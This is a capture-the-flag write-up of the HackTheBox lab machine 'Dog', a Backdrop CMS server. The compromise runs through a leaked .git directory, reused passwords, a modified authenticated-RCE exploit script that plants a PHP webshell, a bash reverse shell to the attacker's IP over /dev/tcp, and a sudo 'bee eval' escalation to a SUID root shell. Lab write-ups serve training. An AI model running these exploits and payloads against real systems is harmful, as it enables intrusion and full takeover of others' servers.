Dog – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar dog


Summary Link to heading

“Dog” is an Easy box from HackTheBox platform. The victim machine is running a web server running Backdrop CMS that also leaks a Git repository. Logs in this repository shows credentials to Backdrop CMS. We find that the version running on the server is vulnerable to an authenticated Remote Code Execution, allowing us to gain access to the victim machine. Once inside the machine, we are able to enumerate users in it. We find that the password used at Backdrop CMS portal is also used by other user in the system. This second user can run Bee (a gadget for Backdrop CMS) with sudo, which allow us to execute commands as root user and compromise the system.


User Link to heading

We start with an Nmap scan:

❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn -vvv 10.10.11.58

We only can see 2 ports open: 22 SSH and 80 HTTP.

Use -sVC flags to apply some recognition scripts over these ports:

❯ sudo nmap -sVC -p22,80 10.10.11.58

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-10 03:02 -03
Nmap scan report for 10.10.11.58
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git:
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.30 seconds

From the output scan we can see an interesting result: there is a .git directory.

Use WhatWeb against the target machine to check some technologies being applied by the target:

❯ whatweb -a 3 http://10.10.11.58

http://10.10.11.58 [200 OK] Apache[2.4.41], Content-Language[en], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.58], UncommonHeaders[x-backdrop-cache,x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN]

The server is running on Apache.

Visiting http://10.10.11.58 shows a webpage on different topics about dogs:

Dog

At the very bottom we can see the text Powered by Backdrop CMS and a link to its webpage.

Info
Backdrop CMS is an Open source, community-developed, Content Management System (CMS), written in PHP, and licensed under the GNU General Public License.

We are not able to create a user.

Since we were able to find a .git directory from Nmap scan, download it using git-dumper (which can be installed with pip3 install git-dumper):

❯ git-dumper http://10.10.11.58/.git/ git_content

<SNIP>

We store all the downloaded contents at git_content directory.

Checking settings.php and after filtering some commented and empty files with grep we get:

❯ cat settings.php | grep -vE '\*|^$|^//'

<?php
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
<SNIP>

We have credentials for MySQL service: root:BackDropJ2024DS2024.

However, these credentials do not work at the main Login webpage.

From the downloaded directory, we can search for commits that contain the word @dog to search for other users that have requested a commit.

❯ git log -G '@dog' --oneline

and get as output:

8204779 (HEAD -> master) todo: customize url aliases.  reference:https://docs.backdropcms.org/documentation/url-aliases

We have a commit that has this word, the commit 8204779.

Check this commit:

❯ git show 8204779

And eventually we find:

<SNIP>
+    "update_timeout": 30,
+    "update_emails": [
+        "tiffany@dog.htb"
+    ],
+    "update_threshold": "all",
+    "update_requirement_type": 0,
<SNIP>

Besides root we have another user: tiffany.

If we go to the login page (http://10.10.11.58/?q=user/login) and we use the credentials tiffany:BackDropJ2024DS2024 works this time. We are redirected to http://10.10.11.58/?q=admin/dashboard page, where we can see:

Dog 2

If we go to Reports -> Available updates -> List available updates we get a version: 1.27.1.

Dog 3

Looking for exploits for this page with SearchSploit we get:

❯ searchsploit backdrop
--------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ---------------------------------
Backdrop CMS 1.20.0 - 'Multiple' Cross-Site Reques | php/webapps/50323.html
Backdrop CMS 1.23.0 - Stored XSS                   | php/webapps/51905.txt
Backdrop CMS 1.27.1 - Authenticated Remote Command | php/webapps/52021.py
Backdrop Cms v1.25.1 - Stored Cross-Site Scripting | php/webapps/51597.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results

There is an Authenticated RCE for Backdrop CMS version 1.27.1. The version shown at the webpage shows that the site should be vulnerable. Copy it and rename it:

❯ searchsploit -m 52021

  Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/52021
     Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
    Codes: N/A
 Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/gunzf0x/HTB/HTBMachines/Easy/Dog/exploits/52021.py


❯ mv 52021.py Backdrop_CMS_Auth_RCE.py

Running it, passing as argument the victim IP address, creates a .zip file that is a malicious module:

❯ python3 Backdrop_CMS_Auth_RCE.py http://10.10.11.58

Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php

❯ ls

Backdrop_CMS_Auth_RCE.py  shell  shell.zip

More specifically, we have a malicious module called shell.zip.

We can go back to the webpage and click on Functionality and then on Insall New Modules. We can now see:

Dog 4

At the bottom right side, we can see Manual Installation option. Click on it. Then, go to Upload a module, theme, or layout archive to install and upload the generated shell.zip file from the Python script:

Dog 5

And click on INSTALL. But we get an error. .zip files are not allowed, only .tar, .tar.gz, among other formats, but not .zip.

We slightly modify the Python script to generate a .tar.gz file instead of a .zip file. We just modify the create_zip function to create_tar and import tarfile Python library to create .tar.gz files:

import os
import time
import tarfile

def create_files():
    info_content = """
    type = module
    name = Block
    description = Controls the visual building blocks a page is constructed
    with. Blocks are boxes of content rendered into an area, or region, of a
    web page.
    package = Layouts
    tags[] = Blocks
    tags[] = Site Architecture
    version = BACKDROP_VERSION
    backdrop = 1.x

    configure = admin/structure/block

    ; Added by Backdrop CMS packaging script on 2024-03-07
    project = backdrop
    version = 1.27.1
    timestamp = 1709862662
    """
    shell_info_path = "shell/shell.info"
    os.makedirs(os.path.dirname(shell_info_path), exist_ok=True)  # Klasörüoluşturur
    with open(shell_info_path, "w") as file:
        file.write(info_content)

    shell_content = """
    <html>
    <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
    <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
    <input type="SUBMIT" value="Execute">
    </form>
    <pre>
    <?php
    if(isset($_GET['cmd']))
    {
    system($_GET['cmd']);
    }
    ?>
    </pre>
    </body>
    </html>
    """
    shell_php_path = "shell/shell.php"
    with open(shell_php_path, "w") as file:
        file.write(shell_content)
    return shell_info_path, shell_php_path

def create_tar(info_path, php_path):
    tar_filename = "shell.tar.gz"
    with tarfile.open(tar_filename, "w:gz") as tarf:
        tarf.add(info_path, arcname='shell/shell.info')
        tarf.add(php_path, arcname='shell/shell.php')
    return tar_filename

def main(url):
    print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
    time.sleep(3)

    print("Evil module generating...")
    time.sleep(2)

    info_path, php_path = create_files()
    tar_filename = create_tar(info_path, php_path)

    print("Evil module generated!", tar_filename)
    time.sleep(2)

    print("Go to " + url + "/admin/modules/install and upload the " +
          tar_filename + " for Manual Installation.")
    time.sleep(2)

    print("Your shell address:", url + "/modules/shell/shell.php")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} [url]")
    else:
        main(sys.argv[1])

and save it as Backdrop_CMS_Auth_RCE_modified.py.

Run the modified script:

❯ python3 Backdrop_CMS_Auth_RCE_modified.py http://10.10.11.58

Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.tar.gz
Go to http://10.10.11.58/admin/modules/install and upload the shell.tar.gz for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php

We now upload the generated .tar.gz file as a module and now we get a successful message:

Dog 6

We then visit:

http://10.10.11.58//modules/shell/shell.php?cmd=id

and we have a Webshell:

Dog 7

Note
There is a cronjob constantly removing the module, so we might need to install it again.

Start a listener with netcat on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

and send us a reverse shell through the webshell with the command:

http://10.10.11.58//modules/shell/shell.php?cmd=bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.16.2%2F443+0%3E%261%22

Where we have passed the payload:

bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"

We get a shell as www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.58] 53532
bash: cannot set terminal process group (1025): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ whoami

whoami
www-data

We have 3 users in the machine:

www-data@dog:/var/www/html/modules/shell$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

We check if the previously found password (BackDropJ2024DS2024) works for any of these users for SSH with NetExec:

❯ nxc ssh 10.10.11.58 -u root jobert johncusack -p 'BackDropJ2024DS2024'

SSH         10.10.11.58     22     10.10.11.58      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.58     22     10.10.11.58      [-] root:BackDropJ2024DS2024
SSH         10.10.11.58     22     10.10.11.58      [-] jobert:BackDropJ2024DS2024
SSH         10.10.11.58     22     10.10.11.58      [+] johncusack:BackDropJ2024DS2024  Linux - Shell access!

We have valid credentials: johncusack:BackDropJ2024DS2024.

And log in with this password using SSH service as johncusack user:

❯ sshpass -p 'BackDropJ2024DS2024' ssh -o stricthostkeychecking=no johncusack@10.10.11.58

<SNIP>
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Tue Mar 4 17:04:29 2025 from 10.10.16.2
johncusack@dog:~$

We can grab the user flag.


Root Link to heading

Checking what can this user run with sudo we get:

johncusack@dog:~$ sudo -l

[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

Checking what is this file we get:

johncusack@dog:~$ file /usr/local/bin/bee

/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php

Checking this file after removing some comments we get that bee.php script is:

#!/usr/bin/env php
<?php
/**
 * @file
 * A command line utility for Backdrop CMS.
 */
if (!bee_is_cli()) {
  echo bee_browser_load_html();
  die();
}
set_error_handler('bee_error_handler');
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/
';
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();
/**
 * Custom error handler for `bee`.
 *
 * @param int $error_level
 *   The level of the error.
 * @param string $message
 *   Error message to output to the user.
 * @param string $filename
 *   The file that the error came from.
 * @param int $line
 *   The line number the error came from.
 * @param array $context
 *   An array of all variables from where the error was triggered.
 *
 * @see _backdrop_error_handler()
 */
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
  require_once __DIR__ . '/includes/errors.inc';
  _bee_error_handler_real($error_level, $message, $filename, $line, $context);
}
/**
 * Detects whether the current script is running in a command-line environment.
 */
function bee_is_cli() {
  return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
/**
 * Return the HTML to display if this page is loaded in the browser.
 *
 * @return string
 *   The concatentated html to display.
 */
function bee_browser_load_html() {
  $title = "Bee Gone!";
  $browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'>&nbsp;</div>";
  $browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
  $browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
  $browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
  $browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
  return $browser_output;
}

This script checks if it is executed from a Command Line Interface|CLI (terminal). If it running from a terminal, it loads some files and process commands.

Searching a little bit we find this page for ‘Bee’.

Info
Bee is a command line utility for Backdrop CMS. It includes commands that allow developers to interact with Backdrop sites, performing actions like: Running cron, Clearing caches, Downloading and installing Backdrop, enable disable projects; among other functions.

Going to Bee Wiki we can search how tu run commands. Eventually, we find an eval function that allow us to do it as it is specified at Bee’s eval Wiki. In short, we can run PHP code using this command as:

bee eval '<PHP Code to execute here>'

Therefore, we go to /var/www/html directory. And inject a command through eval function using system function from PHP; we create a copy of /bin/bash and, to that copy, assign to it SUID permissions:

johncusack@dog:~$ cd /var/www/html

johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x');"

Check if this file has been generated:

johncusack@dog:/var/www/html$ ls -la /tmp

total 1208
drwxrwxrwt 13 root root    4096 Mar 10 09:05 .
drwxr-xr-x 19 root root    4096 Feb  7 18:31 ..
drwxrwxrwt  2 root root    4096 Mar 10 08:18 .font-unix
-rwsr-xr-x  1 root root 1183448 Mar 10 09:05 gunzf0x
drwxrwxrwt  2 root root    4096 Mar 10 08:18 .ICE-unix
<SNIP>

and use this file to become root user:

johncusack@dog:/var/www/html$ /tmp/gunzf0x -p

gunzf0x-5.0# whoami
root

GG. We can grab the root flag at /root directory.

~Happy Hacking.